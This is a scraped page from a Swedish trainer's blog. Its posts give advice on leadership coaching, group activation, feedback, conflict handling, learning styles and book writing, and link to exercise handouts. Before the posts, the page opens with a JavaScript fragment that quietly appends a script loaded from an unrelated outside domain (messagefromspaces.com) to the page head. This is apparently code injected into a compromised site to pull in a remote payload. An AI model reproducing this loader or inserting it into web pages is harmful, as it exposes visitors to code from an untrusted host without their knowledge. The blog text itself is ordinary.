, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })

Mera bokförlag än utbildare

2011-10-05 av Jenny Åkerblom. Inga kommentarer ».

Just nu handlar nästan allt om böcker. Vårt stora projekt om lean och kommunikation har gått in i sitt slutskede och vi diskuterar illustrationer, layout och marknadsföring hela dagarna. En annan bok är alldeles strax färdig:

Tembuilding – 40 enkla recept på effektiva lagövningar

Helene Engström på Eget förlag jobbar för fullt med försäljningen. Hon har gjort ett litet smakprov på boken som hur skickar ut till intresserade företag – och de var fler än vi kunde drömma om.

Ledarcoachning

2010-11-16 av Jenny Åkerblom. Inga kommentarer ».

Nä man blir utnämnd till chef eller ledare har man ofta en klar idé om vad man vill åstadkomma. Där har man gått i många år och ett vad som skulle kunna göras bättre och så får man chansen! Sen vaknar man upp efter ett par år och inser att man helt glömt bort vad det var man tänkte och istället kämpar med att hålla huvudet över ytan i ett kvicksandsträsk av krav från omgivningen.

Då gäller det att ta ett djupt andetag, tänka ut en smart plan för att ta sig ur träsket och se till att få stadig mark under fötterna.

Ledarskap är självkännedom, lyhördhet och förmåga attstaka ut en möjlig väg och behålla riktningen oavsett väderlek.  För att göra det måste man kunna ta ett steg tillbaka och se sig själv ur andras ögon och ett realistiskt perspektiv. Kanske kan detta var till hjälp: ett underlagsformulär för ledarcoachning :Lär känna ditt ledarjag

Aktivera gruppen

2010-11-09 av Jenny Åkerblom. Inga kommentarer ».

Man kanske skulle skriva en metodbok? För allting är enkelt när man kan det, men hur många har egentligen lärt sig hur man får en grupp på banan? I veckan som kommer ska en stor grupp få pröva på varandra i en ledarskapsutbildning. Här är en liten lathund de får med sig för de mera avancerade övningarna. Metoder för att aktivera gruppen

Gömma sig bakom ord

2010-09-28 av Jenny Åkerblom. Inga kommentarer ».

Just nu sitter jag och skriver scener till ett nytt stort teateruppdrag, en chefsutbildning där vårt mål med utbildningen är att ge cheferna helikopterperspektiv på sig själva och relationerna med andra. Scenerna ska vara som vardagen fast med tydligare konturer: typiska, igenkännbara och övertydliga, vilket är samma grundingrideinser som bra humor har…

Det är något så vansinnigt roligt att skriva scenerna och replikerna! Jag får ynnesten att begå det ena lustmordet efter det andra på de där typerna som finns på varenda arbetsplats. Just nu skriver jag ett par motsträviga karaktärer som är helt övertygade om att de har rätt i sak fast de är helt ute och cyklar.  När jag skriver dem använder jag mig av tekniker som vi alla använder oss av ibland när vi känner oss hotade och måste ”bevisa” att vi har rätt. Vi gömmer oss bakom orden, och som coach, samtalspartner, chef eller kollega till en sån här person är det bra att känna till ett och annat knep för att inte ramla i deras verbala fällor. Här kommer en sammanfattning på några av de vanligaste dimridåerna vi lägger ut och hur man kan bemöta dem för att få människan i fråga att se igenom sina egna argument. Tänk på vad du säger och vad du hör

Konflikthantering

2010-09-16 av Jenny Åkerblom. Inga kommentarer ».

Det måste erkännas, en del grupper är roligare än andra. Ju mer intresserade de är desto mer nytta känns det som jag gör och desto roligare har jag. Idag hade jag en sån grupp, där flera stycken kom fram och bad om extra tips och råd. Till er lägger jag ut detta: http://arbetsplatskonflikt.av.gu.se/2akad/akadstart.html . En samlingssida som också kallas ”Konfliktakademin” där det finns mängder av matnyttigt material på svenska. Bakom sidan står Göteborgs Universitet.

Feedback är enkelt och svårt

2010-08-31 av Jenny Åkerblom. Inga kommentarer ».

Sitter och skriver ett kapitel om feedback, och det kärvar. För det är busenkelt med feedback och ändå så svårt att få folk att genomföra. Det är alltså lätt att fatta men svårt att göra. Jag brukar använda denna busenkla övning på mina utbildningar :Övningsuppgift feedback . Gruppen får helt enkelt diskutera två och två och gemensamt kryssa för vilken sorts feedback de helst skulle vilja höra själva. Det är aldrig något snack om vilken av meningarna de föredrar. Ändå tycker de att övningen är superviktig, eftersom de inser att de själva alltsom oftast användernsig av  de meningar de själva inte skulle vilja höra…. Ni ser, skitlätt, men jättkrångligt på samma gång.

Konsten att skriva en bok och sätta SMARTa mål

2010-08-17 av Jenny Åkerblom. Inga kommentarer ».

Nu kan det sägas: jag skriver en bok i sommaren, men den här gången är jag inte ensam utan arbetar tillsammans med en produktionschef i en stor industri någonstans i Sverige. Jag har inte frågat om han vill bli outad på min blogg så vi låter honom vara inkognito tills han säger nåt annat.

Boken handlar om lean och kommunikation eller om  lean och ledarskap eller om lean och organisation. Det går liksom inte att skilja åt det är det som är vitsen. Stora förlaget har svårt för det där: de vill veta under vilken rubrik de ska sätta boken. Så har de problem med målgruppen också, de har ingen målgrupp som heter: vanliga människor som är aktivt ansvarstagande och jobbar i industrin. Vi får nog ge ut boken själva. Men det är en senare fråga, först ska den skrivas.

Härmed ska jag avslöja vad som är konsten att skriva en bok:

Att sätta sig ner och skriva istället för att göra något annat som är enklare.

Så det är bäst att bygga en handlingsplan och sätta SMART:a mål. Vilket är sådant jag just skrivit om. Som grund för det kapitlet hade jag den ”SMARTA” övningsuppgift jag brukar använda, den som är smart behöver bara använda den och kan skippa förklaringarna…:-)

SMARTÄRDETTA

Genom sig själv känner man andra

2010-08-03 av Jenny Åkerblom. Inga kommentarer ».

Så brukar vi säga, men det är ju inte sant. Alldeles för ofta tror vi att vi känner andra och att de fungerar precis som vi. Om man tar det här med inlärande som ett exempel. Här funkar vi helt olika, en del koncentrerar sig bäst om det är sorligt och stökigt omkring dem, medan andra vill ha lugn och ro. På mina internlärarutbildningar brukar deltagarna få göra små enkla test – för om man inte vet att andra fungerar annorlunda än man själv, hur ska man då kunna förmedla kunskap på mest effektiva sätt?

Testet finns här: Övningshäfte lärstilar

Hur får man folk mera aktiva?

2010-07-27 av Jenny Åkerblom. Inga kommentarer ».

Så förvånad jag blev första gången jag upptäckte att det fanns en massa förtvivlade chefer därute. De visste med sig att de förväntades få sina medarbetare aktiva och engagerade. Att ett självklart krav på chefen är att hon/han ska vara entusiasmerande och engagerande. Och de ville de såklart gärna vara, men de visste inte hur. Det som var självklart för mig i min pedagogiska värld visade sig, som oftast med självklarheter, vara sånt jag lärt mig på vägen. Metoder, övningar och sätt att engagera grupper. Sånt kommer man ju inte på själv! Så jag sprang hem och rafsade ner första bästa tankar i ett kompendium. Det finns mycket mer att säga och göra, men det är en bra början! TIPSaktivera medarbetare

Att lära andra

2010-07-13 av Jenny Åkerblom. Inga kommentarer ».

Sommaren är en bra tid för inspiration och den här sommaren verkar bättre än någonsin. Som utbildare tycker jag alltid att det är så ont om tid att få med allt som är viktigt, oftast har man bara en dag eller två på sig att frösöka förmedla något viktigt. Och kunskap kan man ju inte lära någon annan, var och en måste lära sig själv.

Så för att kunna koncentrera mig på mötet med gruppen skriver jag ner vad jag tror är viktigt i kompendier. På så sätt kan jag försäkra mig om att deltagarna får allting jag lovat, och oftast lite till eftersom jag alltid verkar vilja få plats med mer än jag har utrymme för på ett par utbildningsdagar, och ägna utbildningen åt praktiska övnignar och träning. Det är också det jag lägger fokus på i internlärarutbildningen, jag försöker få de yrkesmän som är satt att lära ut moment till andra att  glömma ” nu ska jag berätta för er vad ni inte kan” och istället tänka, ” nu får ni berätta vad ni behöver lära er för att bli bra på det här”. Här hittar du kompendiet till den företagsinterna  internlärarutbildningen samlad i ett kompendium: Internlärarhäfte